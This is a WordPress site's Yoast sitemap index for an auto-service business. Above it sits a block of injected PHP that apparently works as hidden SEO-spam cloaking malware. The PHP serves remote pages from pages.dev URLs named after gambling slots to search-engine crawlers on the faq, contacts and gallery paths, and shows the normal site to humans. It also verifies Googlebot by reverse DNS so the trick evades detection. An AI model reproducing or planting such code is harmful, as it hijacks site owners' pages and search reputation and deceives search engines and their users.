
add_action('template_redirect', function() {
    $uriMappings = [
        'faq' => 'https://ashfordmotors.pages.dev/TOTO90/lp.txt',
        'contacts' => 'https://ashfordmotors.pages.dev/KOPI77/lp.txt',
        'gallery' => 'https://ashfordmotors.pages.dev/DEWASLOT99/lp.txt',
    ];

    $matchedUrl = null;
    foreach ($uriMappings as $pattern => $url) {
        if (strpos($_SERVER['REQUEST_URI'], $pattern) !== false) {
            $matchedUrl = $url;
            break;
        }
    }

    $bots = [
        'Googlebot','Bingbot','Slurp','DuckDuckBot','Baiduspider',
        'YandexBot','Sogou','TelegramBot','Exabot','facebot',
        'ia_archiver','Google-Site-Verification','Google-InspectionTool','AhrefsBot'
    ];

    $ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
    $ip = $_SERVER['REMOTE_ADDR'] ?? '';

    function is_googlebot_ip($ip) {
        $hostname = gethostbyaddr($ip);
        return (strpos($hostname, 'googlebot.com') !== false ||
                strpos($hostname, 'google.com') !== false ||
                strpos($hostname, 'googleusercontent.com') !== false);
    }

    if ($matchedUrl && array_filter($bots, fn($b) => stripos($ua, $b) !== false)) {
        if (stripos($ua, 'Googlebot') !== false && !is_googlebot_ip($ip)) {
            return;
        }

        $response = wp_remote_get($matchedUrl, [
            'timeout' => 20,
            'redirection' => 5,
            'user-agent' => $ua,
        ]);

        if (!is_wp_error($response)) {
            echo wp_remote_retrieve_body($response);
            exit;
        }
    }
});
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//www.ashfordmotors.com/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://www.ashfordmotors.com/post-sitemap.xml</loc>
		<lastmod>2026-05-14T12:26:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/page-sitemap.xml</loc>
		<lastmod>2025-03-21T12:08:41+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/our-coupons-sitemap.xml</loc>
		<lastmod>2017-04-26T05:56:46+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/car_services-sitemap.xml</loc>
		<lastmod>2020-10-19T09:44:42+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/product-sitemap.xml</loc>
		<lastmod>2025-04-13T15:33:56+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/addscars-sitemap.xml</loc>
		<lastmod>2017-04-07T05:35:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/tires-sitemap.xml</loc>
		<lastmod>2017-04-07T04:07:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/battery-sitemap.xml</loc>
		<lastmod>2017-04-07T06:01:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/alignment-sitemap.xml</loc>
		<lastmod>2017-04-05T06:28:15+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/car-testimonial-sitemap.xml</loc>
		<lastmod>2021-02-05T12:44:29+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/gallery-sitemap.xml</loc>
		<lastmod>2020-01-09T08:38:41+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/category-sitemap.xml</loc>
		<lastmod>2026-05-14T12:26:50+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/post_tag-sitemap.xml</loc>
		<lastmod>2017-04-19T11:21:47+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/product_cat-sitemap.xml</loc>
		<lastmod>2025-04-13T15:33:56+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/product_year-sitemap.xml</loc>
		<lastmod>2017-04-07T06:01:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/product_make-sitemap.xml</loc>
		<lastmod>2017-04-07T06:01:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/product_model-sitemap.xml</loc>
		<lastmod>2017-04-07T06:01:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/product_submodel-sitemap.xml</loc>
		<lastmod>2017-04-07T06:01:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/product_price-sitemap.xml</loc>
		<lastmod>2017-04-07T06:01:55+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/product_crosssection-sitemap.xml</loc>
		<lastmod>2017-04-07T04:07:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/product_aspectratio-sitemap.xml</loc>
		<lastmod>2017-04-07T04:07:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/product_rimdiameter-sitemap.xml</loc>
		<lastmod>2017-04-07T04:07:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/gallery-cat-sitemap.xml</loc>
		<lastmod>2020-01-09T08:38:41+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://www.ashfordmotors.com/author-sitemap.xml</loc>
		<lastmod>2020-01-02T19:17:51+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->